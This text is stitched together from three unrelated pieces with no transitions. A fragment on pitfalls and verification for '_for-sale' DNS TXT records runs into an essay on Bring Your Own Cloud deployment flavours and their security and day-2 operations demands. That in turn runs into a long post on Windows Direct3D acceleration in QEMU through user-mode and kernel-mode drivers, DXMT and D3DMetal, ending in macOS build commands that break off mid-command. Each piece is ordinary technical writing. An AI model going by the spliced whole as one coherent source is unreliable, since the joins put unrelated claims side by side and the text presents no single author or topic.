• Expecting a wildcard to cover a whole zone. _for-sale.*.example.com is not a valid wildcard. There is no way to put every domain under a TLD up for sale with one record.
• Trusting the content. If you are on the reading side, ftxt= is attacker-controlled text and furi= is an attacker-controlled URI. Sanitise before display — the RFC’s own example content is <script>...</script> — and never auto-navigate a user to a furi= target without an explicit confirmation step.

Verification

dig +short TXT _for-sale.example.com

• The answer begins with v=FORSALE1; and contains at most one tag=value pair per string.
• The TTL is 3600 or lower: dig TXT _for-sale.example.com | grep _for-sale.
• If the zone is signed, dig +dnssec TXT _for-sale.example.com returns a validating RRSIG.
• The record resolves at all. During a redemption or pendingDelete period, or when DNSSEC validation is bogus, the name will not resolve and the signal silently disappears.

Sources & further reading

• RFC 10023 — The "_for-sale" Underscored and Globally Scoped DNS Node Name — IETF
• RFC 8552 — Scoped Interpretation of DNS Resource Records through Underscored Node Names — IETF
• IANA — Underscored and Globally Scoped DNS Node Names registry — IANA

In the classic SaaS model, the vendor hosts the application, data plane, infrastructure, networking, and operations in its own cloud account. In BYOC (Bring Your Own Cloud), that boundary shifts: the customer keeps the workload, data, network controls, audit logs, and often billing inside their own cloud estate, while the vendor still provides a managed product experience. That definition is a good start, but it is incomplete.

In practice, BYOC does not always mean "give the vendor a fresh cloud account and let them deploy."

Enterprises, regulated organizations, AI infrastructure teams, and platform engineering groups all have different constraints. Some can provide a dedicated account. Some require deployment into an existing VPC. Some only allow workloads onto approved Kubernetes clusters. Some cannot allow any internet connectivity at all.

That is why BYOC is better understood as a spectrum of deployment and operating models.

The deeper point: BYOC Anywhere is not just infrastructure placement. It is the ability to deliver, secure, operate, meter, upgrade, observe, and govern software across many customer-controlled environments.

Why customers need different BYOC flavors

Customers ask for BYOC for different reasons, and those reasons often compound.

Some want data residency and sovereignty: data must stay in a specific region, account, cloud, or jurisdiction. Others want security control: private networking, customer-owned keys, audit logs, no vendor access to raw data, and policy enforcement through their own identity and governance systems.

Some buyers care about commercial alignment. They already have committed cloud spend, reserved capacity, GPU reservations, or internal chargeback models. Running software in their own account helps them use those commitments instead of paying twice.

For AI and data-heavy workloads, the reason is often data gravity. Moving large volumes of logs, embeddings, model outputs, files, or telemetry into a vendor SaaS environment can be expensive, slow, or prohibited. BYOC keeps compute closer to the data.

Platform teams may also require standardization. They already run approved VPC patterns, Kubernetes clusters, service meshes, secrets managers, CI/CD systems, observability stacks, and supply-chain scanning. A vendor that cannot fit into those patterns creates operational friction.

Finally, regulated environments may require disconnected or air-gapped delivery, where software updates, container images, licenses, and telemetry cannot assume live internet access. Air-gapped environments require offline update workflows, mirrored repositories, and controlled artifact transfer processes. (Ubuntu's air-gapped system documentation)

The four main BYOC variants

1. BYOC-Account (Bring your own Cloud Account)

Figure 1: A standard BYOC-Account deployment model.

BYOC-Account is the most common mental model. The customer creates a dedicated cloud account, project, or subscription. The vendor deploys its data plane into that environment, usually through scoped IAM roles and deploying an agent that automates the rest (or manually through a bunch of Terraform, CloudFormation, one-off installers/scripts).

From the customer's perspective, this model feels like:

1. Create account
2. Approve IAM role
3. Vendor deploys
4. Service runs in customer cloud

This flavor works well when the customer wants clean isolation without forcing the vendor into every detail of their existing network. The customer owns the account boundary, billing, cloud logs, region choice, and many policy controls. The vendor owns the product lifecycle: deployment, scaling, health checks, upgrades, and support.

BYOC-Account is often the right starting point because it creates a strong separation of concerns. But it is not enough for customers with strict networking, routing, private endpoint, or internal platform requirements.

2. BYOC-VPC (Bring your own VPC)

Figure 2: A secure BYOC-VPC deployment with a customer-approved network boundary.

BYOC-VPC goes one level deeper: the software must run inside a customer-approved network boundary. Instead of simply deploying into a fresh account, the vendor must integrate with an existing VPC, VNet, subnet layout, routing model, DNS setup, firewall policy, private endpoints, and egress controls.

From the customer's perspective, this model feels like:

1. Provide VPC / subnets
2. Approve routes, endpoints, and security groups
3. Deploy privately

This is important when customers require:

• No public endpoints.
• Private connectivity to internal systems.
• Egress allowlists.
• PrivateLink-style connectivity.
• Centralized firewall inspection.
• Internal DNS and certificate policies.
• Existing network segmentation.

For example, private connectivity services such as AWS PrivateLink are designed to let customers connect privately to services without requiring public IPs, internet gateways, NAT devices, or public routing paths. (AWS PrivateLink)

BYOC-VPC is more demanding than BYOC-Account because the deployment has to respect the customer's network architecture across clouds. The vendor cannot assume open outbound internet, default DNS, permissive security groups, or vendor-managed ingress.

3. BYOC-K8s (Bring your own Kubernetes)

Figure 3: A standardized BYOC-K8s deployment within a customer-managed Kubernetes runtime.

BYOC-K8s means the customer provides the Kubernetes runtime. The vendor deploys into a customer-managed Kubernetes cluster, often through Helm charts, operators, controllers, CRDs, namespaces, service accounts, and container images.

From the customer's perspective, this model feels like:

1. Provide cluster
2. Install Helm / operator
3. Connect license / control plane
4. Operate workloads

This flavor is common when customers already standardize around Kubernetes across clouds, on-prem, edge, or GPU infrastructure. Kubernetes is explicitly designed as a portable, extensible platform for managing containerized workloads and services, which makes it a natural abstraction layer for multi-environment delivery. (Kubernetes for multi-environment delivery)

BYOC-K8s gives platform teams more control. They can enforce their own admission policies, image scanners, secrets management, storage classes, ingress controllers, service mesh rules, node pools, GPU scheduling, and observability integrations.

But it also changes the responsibility model. The vendor no longer controls the full substrate. Cluster version, CNI behavior, storage drivers, node autoscaling, resource quotas, pod security settings, and image registry access can vary widely. The vendor also does not provision the underlying infrastructure, so infra provisioning, sizing, upgrades, and troubleshooting often require coordination with the customer's platform team. This is especially challenging in traditional on-premises environments, where hardware, networking, and storage abstractions vary significantly.

4. Air-gapped Software Distribution

Figure 4: A highly secure air-gapped deployment with customer-controlled offline distribution.

Air-gapped is not exactly BYOC, but it is a natural extension of the same customer-controlled delivery spectrum. In this model, the software runs in an environment with no direct internet connectivity, often for defense, public sector, critical infrastructure, financial services, healthcare, or sovereignty reasons.

From the customer's perspective, this model feels like:

1. Receive signed artifacts
2. Scan / approve (supply chain)
3. Import offline
4. Install / upgrade locally

Air-gapped delivery requires a different operating model. The vendor cannot assume live telemetry, remote debugging, online license checks, automatic image pulls, hosted package repositories, or continuous control-plane access. Updates, patches, container images, dependency repositories, and documentation often need to be mirrored or transferred into the environment through controlled processes. (Highly secure, air-gapped Ubuntu architectures)

This is where the BYOC idea reaches its hardest form: the customer owns not only the infrastructure boundary, but also the connectivity boundary, update boundary, support boundary, and operational evidence boundary.

How each flavor maps to customer needs

Customer need	Best-fit BYOC flavor	Why it helps
Use committed cloud spend	BYOC-Account	Workloads run under customer billing.
Minimize vendor access	BYOC-Account / VPC	Requires scoped permissions, auditability, governance and zero-trust controls.
Keep data in customer-controlled cloud	BYOC-Account / VPC	Dataplane stays inside the customer boundary.
Integrate with customer supply chain	BYOC-Account / VPC	Enables image scanning, artifact signing, private registries, and approvals.
Enforce private networking	BYOC-VPC	Supports private routes, endpoints, DNS, e2e encryption and egress controls.
Reuse internal platform standards	BYOC-K8s	Runs on approved clusters, policies, and tooling.
Support on-prem or edge	BYOC-K8s / Air-gapped	Kubernetes or offline bundles can span non-cloud environments.
Meet strict sovereignty or classified requirements	Air-gapped	Removes dependency on live external connectivity.

The Security Challenge: BYOC must be secure by design

A serious BYOC platform has to implement more than deployment automation. It has to deliver the security posture enterprises expect from modern infrastructure.

That includes:

Least-privilege permissions. The vendor should receive only the permissions required to install, operate, update, and observe the product. Permissions should be scoped by account, project, namespace, resource type, and lifecycle phase.

End-to-end encryption. Data should be encrypted in transit and at rest, with clear support for customer-managed keys where required.

Zero-inbound access. Many customers will not allow inbound access from a vendor network. The safer pattern is often an outbound-only agent or runner initiated from the customer environment.

Egress allowlists. Customers need to know exactly which domains, APIs, package repositories, control-plane endpoints, and telemetry destinations the product requires.

Private connectivity. Some environments require private link, private service connect, VPC endpoints, peering, VPN, or dedicated network paths instead of public internet access.

Customer supply-chain integration. Container images, packages, Terraform modules, Helm charts, SBOMs, signatures, attestations, vulnerability scans, and provenance metadata need to fit into customer approval workflows.

Governance and auditability. Customers need logs, evidence, change history, access records, policy mappings, clear ownership boundaries, and governance controls to control the access levels.

This aligns with the broader zero-trust principle that no user, device, workload, or network location should receive implicit trust simply because it sits inside a perimeter. NIST describes zero trust as a shift away from static network-based trust toward resource-level access decisions. (NIST's SP 800-207 Zero Trust Architecture)

For a deeper dive into the security requirements, I'd recommend reading BYOC Anywhere, which lays out the "10 Commandments" for operating software in customer environments you don't own.

The Portability Challenge: Running Across Every Customer Environment

The next challenge is environmental diversity.

A narrow BYOC product might work only in AWS, only in a fresh account, only with public egress, only in one region, and only with vendor-managed Terraform. That may be enough for early deals, but it is not enterprise-ready and will not scale.

BYOC has to work across:

• Major clouds: AWS, Azure, Google Cloud.
• Sovereign cloud regions.
• Neocloud and GPU cloud providers.
• Customer-managed Kubernetes.
• OpenShift and enterprise Kubernetes distributions.
• On-prem data centers.
• Edge environments.
• Internet-restricted and air-gapped networks.

Each environment changes the assumptions. Identity, networking, storage, load balancing, DNS, secrets, GPUs, logging, metrics, security scanning, and upgrade workflows all differ. The product architecture has to isolate those differences behind a consistent delivery model.

The mistake is assuming BYOC is a cloud-specific problem. It is really a portability problem across different clouds, neoclouds, and on-prem environments. Building and maintaining consistent IaC across multiple environments is a huge challenge in itself. The interesting thing is that even that is not enough, and that brings us to the next challenge.

The Operations Challenge: Delivering a Managed Service After Deployment

The hardest part of BYOC is not day one. It is day two. A real BYOC platform must handle the full lifecycle:

1. Provision
2. Deploy
3. Configure
4. Govern
5. Upgrade
6. Meter
7. Observe
8. Operate

That means solving:

Infrastructure provisioning and management. Having consistent IaC across multiple environments to unify infrastructure including accounts, networks, IAM roles, subnets, clusters, storage, DNS, certificates, and secrets is one thing. But infrastructure management has to be tenant-aware, transaction-safe across different workflows, and AI-enabled. Unfortunately, tools like Terraform fall short on all these dimensions and require a BYOC control plane to deal with these problems.

Customer-managed deployments. Subscribe, deploy, customize, configure, visualize, and notify.

Governance controls. Clear break-glass procedures, approval workflows, audit trails, RBAC, SSO, enterprise IdP integration, secrets, customer networks, tenant isolation, and customer-controlled access.

Upgrades and patches. Safe rollouts, versioned releases, rollback, dependency management, configuration drift, approvals, pipelines, and emergency fixes.

Metering and billing. Usage collection, aggregation, billing, invoicing, analytics, and integration with payment processors like Stripe and cloud marketplaces.

Licensing. Online activation for connected environments; signed offline licenses for disconnected ones.

Observability. Health, logs, metrics, traces, alerts, SLOs, and support bundles that do not leak customer data.

Day-2 automation. Backups, restores, snapshots, alerting, recommendations, scaling, certificate rotation, secret rotation, failover, diagnostics, policy checks, and compliance evidence.

Cloud providers describe security and operations as shared responsibilities, where the exact boundary depends on the services used and how customers configure them. BYOC introduces a similar shared responsibility model between the software vendor and the customer: the customer owns the environment, while the vendor must still deliver a managed product experience. (AWS's shared responsibility model)

BYOC is a Product Architecture, Not a Deployment Script

The simplest BYOC demo may look easy: connect to a customer account, run Terraform, deploy containers, and show a working service. Production BYOC is a completely different ballgame.

It requires a control plane that can manage many isolated customer environments without overreaching. It requires runners or agents that can operate with minimal permissions. It requires repeatable infrastructure definitions, secure artifact delivery, environment discovery, policy enforcement, observability, upgrade orchestration, and support workflows.

The other misconception is that BYOC is often described too narrowly. It is not just "bring a fresh account." That is only one flavor.

There is BYOC-Account for clean cloud ownership.
There is BYOC-VPC for private network integration.
There is BYOC-K8s for platform-standardized runtime delivery.
There is Air-gapped delivery for disconnected and highly regulated environments.

And across all of these models, vendors still need to solve zero-trust security, multi-environment portability, supply-chain integration, lifecycle automation, metering, licensing, observability, governance, and day-2 operations.

The real promise of BYOC Anywhere is not that software can be installed somewhere else. It is that customers can keep control of their infrastructure, data, network, and compliance posture while still getting a managed product experience.

That is a much larger architectural undertaking than a basic "connect the account and deploy" script. It is the next evolution of enterprise software delivery.

You can now play modern Windows games in QEMU

Crash Bandicoot Trilogy (x64) running on Windows 11 ARM64 virtualized on macOS through QEMU

What is Triton?

You might be wondering: if Neptune can serialize Direct3D API calls and Windows uses Direct3D, then aren’t we already done? If Direct3D works in Wine, it should also work in Windows, right? After all, what is Wine, if not a Windows emulator? The short answer is: you sort of can. The Neptune Mesa drivers build a d3d11.dll and dxgi.dll which fully implements the Direct3D API set and so if you just put those files next to the game’s executable, it should load them instead of Windows’ own drivers and you can get some games to run that way. This is also the approach done by previous attempts which used DXVK→Vulkan→Venus to run Direct3D locally inside an application. There are a few disadvantages to this approach. First and most importantly, you cannot get good performance because the window compositor (DWM) “sees” your frame as an image so it needs to use CPU blitting to copy the GPU image buffer to the correct window location. You might be able to do some tricks for full-screen applications to scanout natively but you will never get a smooth desktop experience. Second, because d3d11.dll and dxgi.dll are core components of Windows, you cannot replace the system files themselves and expect Windows to still work. Even if you do manage to get it to work, you will not be able to play many games with anti-cheats which specifically detect this kind of modification. That is why it is only possible to get the DLL to load on a per-application basis (and compatibility varies). Which brings us to the last point: needing to copy files to every application you want working graphics acceleration is not a user friendly experience. The correct approach is not to implement the DirectX APIs but to implement the DirectX DDIs (Device Driver Interface).

If you want a full play by play of the entire development process, check out this companion post.

DDI

In Windows, the application communicates with the system Direct3D and DXGI libraries. The d3d11.dll (as well as older versions) do the complicated work of state tracking and send a more sanitized stream of commands to the user-mode driver (UMD) which implements the DDI. The application also talks to dxgi.dll to initialize the graphics adapters, set up the swapchain, etc. The UMD also goes through the DXGI to talk with the kernel-mode driver (KMD). The KMD is implemented by the graphics vendor (us) to drive the actual hardware (or in our case the virtual hardware). For Wine, we implemented a custom d3d11.dll and dxgi.dll to intercept the API calls and now for Windows, we need to instead implement the UMD and KMD.

So that’s the challenge: implement the UMD with the DirectX DDI interface and also set up a private interface with the KMD which communicates with the VirtIO device.

Lucky for us, the second part has already been solved. Both anonymix007 and arehnman had independently been working on a KMD for Venus (Vulkan). Since Vulkan is a completely independent graphics API, it does not need to implement the DirectX DDI and its UMD is similar to the “replace d3d11.dll” approach in that it talks directly with the KMD to drive commands to QEMU. Since Neptune is modelled after Venus, the high level kernel interfaces (for DMA, command buffers, etc) is very similar and the interface between UMD and KMD is exactly the same. Ultimately, we chose to use anonymix007’s branch as the base because their implementation had more features working on the KMD side.

That leaves us with the hard part. We have to implement the DDI for DirectX 11. When you are designing a new system, it is always wise to understand how others who have come before have solved similar problems. Unfortunately, there are not many open source DDI implementations to draw inspiration from. Windows graphics drivers is a very niche subject and most of the experts work in one of the handful of graphics hardware vendors. This is one of the reasons that QEMU has never got far with Windows GPU acceleration.

Fortunately for us, there are two working open source implementation that we can learn from. First, Mesa has a DirectX 10 UMD. If you did not read the last article, the short version is that Mesa implements OpenGL for Linux. Mesa performs state tracking for OpenGL and emits Gallium API calls. The Mesa DirectX 10 UMD is an alternative to OpenGL that emits the same Gallium API calls. Then the Gallium backend driver (AMD, Intel, VirGL, etc) converts them into native graphics driver APIs. The upstream Mesa only supports the software rasterization backend for DirectX 10 but there was some recent work to get it working with VirGL. Unfortunately, the macOS virglrenderer lacks support for many of the features that this UMD requires so it is not a viable way to get graphics acceleration for macOS hosts. However, the integration with the Mesa codebase provides us with a clean example for integrating Triton.

VirtualBox has the only working open source DirectX 11 UMD. However, this driver cannot really be “adopted” for our use. The way their driver works is that they translate the DDI calls into an intermediate bytecode and then on the host side, they interpret the bytecode into DirectX API calls. While it would be easy (with AI help) to just port this bytecode emitter and interpreter into QEMU, we decided against it for a couple of reasons. First, we think this conversion of DDI into a bytecode and then lifting that bytecode back to DirectX API can result in bugs that limit compatibility with games. Indeed, reading forum threads online, it seems like many games do not run in VirtualBox for this reason. If there is a missing feature or bug in the translation engine, it would require a lot of active maintenance effort to fix and we do not want to depend on Oracle for that. Second, there is a licence incompatibility between VirtualBox’s GPLv3 and virglrenderer’s MIT License or QEMU’s LGPLv2. VirtualBox’s code can’t be integrated but we did learn some valuable insight from it. Their list of which DDI prototypes were implemented and which ones returned error is used as the minimal requirements for a working implementation. This information isn’t readily available from MSDN documentation and trying to implement every single prototype would be massive in scope. Their DXBC signature algorithm is also helpful to understand because Microsoft does not publish it anywhere.

Since we didn’t want to take the VirtualBox approach of using an intermediate transport format for DDI calls, we can do something better. If you imagine d3d11.dll as a component that roughly transforms DirectX API calls into UMD DDI calls, then what we want our UMD to do is to transform the DDI call back to DirectX API calls. Why is this useful? Because then we can use our tested and working Neptune protocol without having to invent a new transport for serializing DDI calls. On the host side, we do not have to do any extra work to execute those calls. VirtualBox needs an emitter and transport layer on the guest as well as an interpreter and dispatcher on the host. Each step adds latency and the chance to introduce errors and incompatibility. We still need an emitter and transport on the guest but on the host side we do not need an interpreter because the deserialized Neptune commands ARE DirectX 11 API calls and can be dispatched without any additional parsing. One less transform step means less opportunity for mistakes. Another advantage of a DDI→API transform is that most DDI calls in D3D11 have an API equivalent meaning that the transform is as simple as mapping some API handles to device handles and sometimes doing a lookup for API→DDI enum differences. The biggest win however, also turns out to be the most complicated part of the story, which is the DXBC shader code.

DXBC

DXBC (DirectX Byte Code) is the IR code that Microsoft’s shader compiler (FXC) emits. Specifically, it is the older (pre-DirectX 12) format and is compiled from HLSL, the shader language that DirectX uses. Since Triton acts as a reverse transform from DDI to API, it does not need to disassemble and convert this shader bytecode. This is a huge win for us in terms of complexity and compatibility. Unfortunately, it is not as simple as passing the bytecode unmodified to the host.

The compiler (FXC) emits the DXBC bytecode along with other metadata. d3d11.dll expects to see this metadata and consumes it. When the DDI is called, only the bytecode is passed. That means for us to make a valid “inverse transform” back to the API call, we need to re-construct all that metadata by interpreting the bytecode. In the end we still pass through the bytecode unmodified but since we don’t see the original DXContainer file, we have to synthesize fields that the host DirectX renderer expects. This was a lot of trial and error that the AI assistant handled but it is the weakest and most error prone part of our implementation.

Host Renderer

Here’s what we have so far:

1. Application makes DirectX and DXGI API calls to the system libraries.
2. System libraries invoke Triton through DDI calls.
3. Triton DDI converts raw DXBC bytecode back into DXContainer and makes DirectX and DXGI API calls to Neptune.
4. Neptune UMD serializes the API calls and passes them through a ring buffer managed by the KMD.
5. KMD uses the VirtIO interface to send commands to the host.
6. QEMU host handles the command and passes Neptune calls to virglrenderer.
7. Neptune host module in virglrenderer deserializes the API calls and forwards them to the host side DirectX implementation.
8. Host DirectX implementation renders the frame.

Let’s zoom in on the last point. Once the DirectX API calls make it to the host, we still need to render it. When we brought up Neptune for Wine on Linux, we forked DXVK to support exporting the swapchain images as DMAbuf resources. At the time, we decided to implement the swapchain on the host side in order to sidestep the issue of shared textures. Internally, swapchain images are represented as textures but these textures are special in that the host needs to be able to find them and use them to show the final frame on screen. Our Wine DXGI library forwards all the swapchain API calls directly to the host and therefore the host “knows” which textures will be used as a backbuffer. Then separate VirGL commands can be used to scan out the texture blob to the VM window. This trades simplicity in the guest driver and minimal changes in DXVK for the complexity of swapchain logic in the host virglrenderer process.

When bringing up Triton, we realized that host side swapchain handling was a mistake. On Windows, DXGI is a system component which talks to the UMD. DXGI handles the backbuffer creation, frame pacing, mode switching, etc. The UMD (mostly) doesn’t give special treatment to DXGI and so our method of doing an “inverse transform” of DDI calls back to API calls does not really work with DXGI. That means all the swapchain logic we added to the host side is largely bypassed. The desktop compositor (DWM) operates on shared textures. One process’s DXGI renders content to its own backbuffer and that backbuffer is shared with the DWM process which draws the desktop, window chrome, etc. The final frame that DWM constructs is set for scan out. This means that in addition to DMAbuf exports, we also need to implement DMAbuf imports in DXVK as well (separate guest contexts map to separate host contexts). Once we have both import and export implemented, there is no need for host side swapchain logic anymore and so to make the Wine driver more unified, we moved all the swapchain logic into the guest Neptune driver. An added benefit of this move is that it more closely tracks with how Venus is designed and so virglrenderer is kept clean.

Screenshot of Windows running on QEMU on Ubuntu host

Windows DWM compositing working with DXVK shared textures on QEMU KVM running on Ubuntu

macOS

There’s some challenge in getting virglrenderer working on macOS but since Venus now runs in macOS, most of the backend challenges have been fleshed out. The remaining task is to connect Neptune to a host side DirectX renderer. There are three major projects that can handle the goal of DirectX on macOS. However, they all been designed with running Wine as the main target. They lack the shared textures and shared fences features that Neptune and Triton requires.

DXVK + MoltenVK

DXVK is the project we used on Linux hosts. It translates D3D11 API to Vulkan API and then uses the host Vulkan driver to do the rendering. On Linux, this works great because Vulkan is a first class citizen and all modern graphics hardware have a good Vulkan driver at this point. On macOS though, Vulkan is handled by another translation layer, MoltenVK, which translates Vulkan API to Metal API. In the last post, we talked about the unique challenge of getting DXVK + MoltenVK working and the short version is: it is unstable and requires a lot more work for compatibility.

Crash Bandicoot running on patched MoltenVK + Venus + DXVK (guest)

DXMT

DXMT sidesteps the Vulkan issue by translating D3D11 directly to Metal (with D3D12 coming soon). Just like DXVK, the project is designed primarily with Wine in mind so the first step was to implement a native variant of the library. With our fork, DXMT can be built as a macOS shared library and exposes some additional exports for import/export of textures and fences.

FireStrike (x64) for Windows 11 ARM64 running on macOS host with DXMT backend

Shared Textures

One major hurdle in the design of dxmt-native is in the implementation of shared textures that can cross the process boundary. We need to cross the process boundary because virglrenderer spawns helper processes for each renderer context so roughly every guest D3D context corresponds to a separate virgl_render_server process. This strict process isolation allows a renderer to crash without taking down the entire VM. Now, we can force the older thread based isolation model and use standard MTLTexture handles across renderer context boundary (and we will have to for the eventual iOS port), but upstream maintainers do not want to support this. Sharing Metal resources across processes can be tricky but there are a few “well supported” way of doing it.

1. MTLSharedTextureHandle + XPC: This is the Apple preferred way but it requires bringing in XPC which is its own can of worms. Both QEMU and virglrenderer use file descriptors and SCM_RIGHTS to pass handles between processes but MTLSharedTextureHandle does not support this. For the best performance though, we should eventually adopt this across virglrenderer, QEMU, and SPICE but for this initial bringup, we want to not make major architectural changes across projects.
2. IOSurface: You can render to an IOSurface and share the global handle with any other process. This is how we implement the accelerated rendering on UTM but it is using technology long deprecated by Apple. You also need to pay the penalty of an additional GPU blit into the IOSurface and that also means having to set up a render pipeline in virglrenderer which adds complexity.
3. CALayerHost: A private API that is used by Chrome and other older macOS apps where rendering is done in a separate process. This is strictly worse than IOSurface in terms of latency (CoreAnimation is higher up the graphics stack) and the reverse (going from CALayer back to MTLTexture) is even more complicated. This technique may work for offline rendering but will not work for shared textures that must be composited.

None of these give us a good way to share textures across different processes using SCM_RIGHTS but a new idea was brought up (during the Venus discussion) by @Drakulix (who was working on bringing Wayland to macOS). Their idea is to use shm_open() to create a shared memory object (which can be represented as a file descriptor that works across SCM_RIGHTS) and then map it to a MTLBuffer using newBufferWithBytesNoCopy:length:options:deallocator:. That gives us a single memory region that can be seen by the CPU and GPU and you can repeat this in the other process as well. All of this works in Apple Silicon because of UMA (Unified Memory Architecture) meaning that CPU and GPU share a single physical address space. The only downside is that you can only do this with linear textures which is not memory efficient. However, as long as the number of shared textures is small, this should not be an issue.

Shared Fences

Sharing textures between different contexts in different processes is one half of the equation. The other half is synchronization. When you have producer process A drawing to a shared texture and consumer process B compositing all the shared textures into the final scanout image, you will run into tearing if A is in middle of drawing when B starts compositing. To prevent this, you need fences which allows process A to block while B is drawing and B to block while A is drawing. To make matters more complicated, you need GPU fences because the GPU executes asynchronously to the CPU. Ideally, B’s GPU process can consume A’s GPU fence without any polling by A’s CPU process. The only way to achieve this is to use MTLSharedEventHandle which requires XPC. However, we can get most of the way there with emulated fences by relying on two facts.

1. Most of our shared fence events happen at frame completion boundaries. That means the added latency of a CPU side wait is limited to one fence per completed frame.
2. The fence event producer can execute on the GPU while the fence consumer must wait on the CPU. That means we only need to waste CPU cycles on one side.

The way our emulated fence works is as follows: the producer calls ID3D11DeviceContext::ClearUnorderedAccessViewUint with an address in a shared memory buffer mapped by the consumer process. This API call lets us write an arbitrary integer to shared memory and we use it to write a timeline value. The write is done by the GPU so it is ordered with A’s other draw calls meaning that when the timeline value write occurs in the GPU, we know that all the draws are complete. The consumer must poll on the shared memory (this must be done on the CPU because there is no memory value polling instruction on Apple GPUs). Once it sees the updated timeline value, it knows the draws are complete and that it is safe to consume the texture. The consumer CPU cannot queue its draw calls until it sees the fence event and therefore there is introduced latency while the GPU is potentially idle waiting for the next submission.

D3DMetal

The last DirectX API implementation for macOS is made by Apple for the Game Porting Toolkit. Originally designed for developers to test their Windows game on Apple Silicon, the GPT includes D3DMetal.framework, an implementation of D3D11 and D3D12 on top of Metal as well as a transpiler from DXBC/DXIL (Microsoft’s proprietary GPU shader bytecode format) to AIR (Apple’s proprietary GPU shader bytecode format). Just like DXMT, it is designed to work with Wine. Just like DXMT, it does not support shared textures or shared fences so we need to emulate them in the same way. However, unlike DXMT, it is not open source so we need to use swizzling and vtable patching to intercept API calls and change the output.

That is what we have done with d3dmetal-native. It is a wrapper around D3DMetal.framework that allows it to work outside of Wine and support these additional features. Since we designed the API interface to be compatible with DXMT, we can easily switch between the two interfaces in virglrenderer. The result is a significant improvement in performance over DXMT.

FireStrike (x64) for Windows 11 ARM64 running on macOS host with D3DMetal backend (Rosetta)

Note that since D3DMetal only has an x86_64 slice (as it was intended for use with Rosetta + Wine), we have to run the entire virgl_render_server process in Rosetta. Even then it still outperforms DXMT running on native ARM64.

Unfortunately, D3DMetal’s licence terms explicitly prohibits usage outside of the “sole purpose of developing, testing, or evaluating video games for use on Apple-branded products” and that it can only be distributed “solely for non-commercial purposes.” That means we cannot include D3DMetal as part of a bundled application. Curiously, CrossOver, a commercial Wine distribution, does bundle D3DMetal and I was told that they have a special agreement with Apple in order to do this. If anyone is familiar with this arrangement, please contact us because we would love to include D3DMetal in UTM due to the improvement in performance.

Try it out

All the work described here is open source so if you like tinkering, you can try it out and give us your feedback. We are actively working to upstream as much of these changes as possible and we will update UTM soon to support these features so anyone can try it without having to compile multiple projects.

Hint: Point your AI to this page and ask it to set it up for you.

Code

• QEMU
• virglrenderer
• DXMT
• d3dmetal-native
• Windows UMD
• Windows KMD
• Windows driver build scripts

Building (macOS)

These build instructions are specific for macOS. The build instructions for Linux are largely unchanged from the previous post.

Everything installs into one staging prefix, and the pieces find each other through that prefix’s pkgconfig directory, so set these first and keep them for the whole session:

export SRC=/path/to/checkouts       # where the git repositories live
export PREFIX=/path/to/prefix       # staging install root: bin/ lib/ libexec/ share/
export ANGLE_INC="$SRC/WebKit/Source/ThirdParty/ANGLE/include"
export ANGLE_LIB="$PREFIX/ANGLE.xcarchive/Products/usr/local/lib"

You will need Xcode (with the Metal toolchain) and the command line tools, Meson 1.3+, Ninja, pkg-config, CMake, and an LLVM 15 installation (exact major version, with headers and static libraries) for DXMT.

ANGLE and libepoxy

QEMU’s -display cocoa,gl=es path and virglrenderer’s GL backend go through ANGLE-on-Metal, which the WebKit tree builds, plus a libepoxy that dispatches to it. This is unchanged from the Venus work but it is a prerequisite for everything else.

git clone --filter=tree:0 --no-checkout https://github.com/utmapp/WebKit.git "$SRC/WebKit"
git -C "$SRC/WebKit" sparse-checkout init
git -C "$SRC/WebKit" sparse-checkout set Source/ThirdParty/ANGLE Configurations Tools/ccache
git -C "$SRC/WebKit" checkout 6a7f464047e2f6f2b65fe315aaad5d1ff3229cb7
cd "$SRC/WebKit/Source/ThirdParty/ANGLE"
xcodebuild archive \
  -archivePath "$PREFIX/ANGLE" \
  -scheme ANGLE \
  -sdk macosx \
  -arch arm64 \
  -configuration Release \
  WEBCORE_LIBRARY_DIR=/usr/local/lib \
  NORMAL_UMBRELLA_FRAMEWORKS_DIR="" \
  CODE_SIGNING_ALLOWED=NO \
  MACOSX_DEPLOYMENT_TARGET=11.0

git clone -b macos-venus https://github.com/utmapp/libepoxy.git "$SRC/libepoxy"
meson setup "$SRC/libepoxy/build" "$SRC/libepoxy" \
  "-Dc_args=-I$ANGLE_INC" \
  -Degl=yes \
  -Dx11=false \
  "--prefix=$PREFIX"
meson install -C "$SRC/libepoxy/build"

DXMT

DXMT builds as a Wine cross build by default; passing no cross file gives the native build, which links every module into a single libdxmt-native.dylib exporting the D3D11/DXGI entry points plus the embedder API (Win32-style events and shared textures) that the Neptune render server uses.

export LLVM15=/path/to/llvm@15   # arm64 LLVM 15 install root
git clone https://github.com/utmapp/dxmt.git "$SRC/dxmt"
cd "$SRC/dxmt"
meson setup build-native \
  "-Dnative_llvm_path=$LLVM15" \
  --buildtype=release \
  "--prefix=$PREFIX"
meson install -C build-native

Homebrew’s llvm@15 works for $LLVM15; DXMT’s docs/DEVELOPMENT.md also documents building it from source.

d3dmetal-native

D3DMetal.framework ships as x86_64 only, so this library — and every process that loads it — must be x86_64. The cross file that selects -arch x86_64 is in the repository, and Rosetta 2 runs the results (including the test suite) transparently.

git clone https://github.com/utmapp/d3dmetal-native.git "$SRC/d3dmetal-native"
cd "$SRC/d3dmetal-native"
meson setup build \
  --cross-file build-macos-x86_64.txt \
  -Dtests=disabled \
  "--prefix=$PREFIX"
meson install -C build

The framework itself is not bundled: get it from Apple’s Game Porting Toolkit and point the library at it at runtime with D3DMETAL_FRAMEWORK_PATH (or compile in a fallback with -Ddev_framework_path=...). If macOS quarantines it, xattr -dr com.apple.quarantine D3DMetal.framework.

virglrenderer

This is the interesting one, because a single QEMU process has to drive a native arm64 library and a render server that runs as either architecture. It is two Meson configurations of the same source tree:

1. Native arm64 — produces both the libvirglrenderer that QEMU links and a render server hosting Venus and the Neptune DXMT backend. This is the only configuration that gets installed.
2. x86_64 cross build — the same render server for the Neptune D3DMetal backend, which has to be x86_64 because the framework is. It links virglrenderer statically and is never installed.

The two servers are then fused with lipo into one universal binary. At runtime the parent process picks a worker’s slice per context — Venus contexts get the arm64 slice, Neptune contexts get x86_64/D3DMetal under Rosetta by default or arm64/DXMT with NPT_BACKEND=dxmt — so there is only one render server path to configure, and it is the one baked in at build time.

git clone -b macos-next https://github.com/utmapp/virglrenderer.git "$SRC/virglrenderer"

1. Native arm64 (library + render server).

meson setup "$SRC/virglrenderer/build-arm64" "$SRC/virglrenderer" \
  "-Dc_args=-I$ANGLE_INC" \
  -Dvenus=true \
  -Dneptune=true \
  -Drender-server-worker=process \
  -Dcheck-gl-errors=false \
  "--pkg-config-path=$PREFIX/lib/pkgconfig" \
